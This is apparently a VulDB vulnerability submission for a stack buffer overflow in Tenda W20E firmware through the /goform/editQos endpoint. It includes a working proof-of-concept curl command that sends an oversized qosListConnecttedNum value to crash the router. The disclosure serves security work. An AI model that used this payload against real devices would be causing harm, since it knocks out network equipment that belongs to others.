| Titel | Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow |
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| Beschreibung | Tenda W20E firmware V4.0br_V15.11.0.6(1068_1546_841)_CN_TDC contains a stack-based buffer overflow in the QoS edit code path reachable via POST /goform/editQos. In lstAdd, the attacker-controlled qosListConnecttedNum value is retrieved through websGetVar and written with sprintf into the fixed-size ruleConnectLimit[128] stack buffer without length validation. Because the server-side code does not enforce the client-side length restriction, an authenticated attacker can supply an oversized qosListConnecttedNum value to corrupt stack memory and cause a denial of service. Exploitation of this branch is state-dependent and requires valid QoS-related group objects to be present.
Proof-of-concept
curl -i 'http://192.168.0.1/goform/editQos' -b cookies.txt \
--data-urlencode "qosListIndex=0" \
--data-urlencode "qosListConnecttedNum=$(python3 -c 'print(\"A\"*200)')" \
--data-urlencode "qosListEn=1" \
--data-urlencode "qosListIPGroupRemark=G1" \
--data-urlencode "qosListUpstream=64" \
--data-urlencode "qosListDownstream=128" \
--data-urlencode "qosListMode=share" \
--data-urlencode "qosListTimeGroupRemark=T1" |
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| Quelle | ⚠️ https://github.com/paueger/mycve/blob/main/Tenda_W20E/3.md |
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| Benutzer | paxiot (UID 94927) |
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| Einreichung | 25.06.2026 11:26 (vor 2 Monaten) |
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| Moderieren | 14.08.2026 07:30 (2 months later) |
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| Status | Akzeptiert |
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| VulDB Eintrag | 389955 [Tenda W20E 15.11.0.6(1068_1546_841)_CN_TDC QoS Edit /goform/editQos lstAdd qosListConnecttedNum Pufferüberlauf] |
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| Punkte | 20 |
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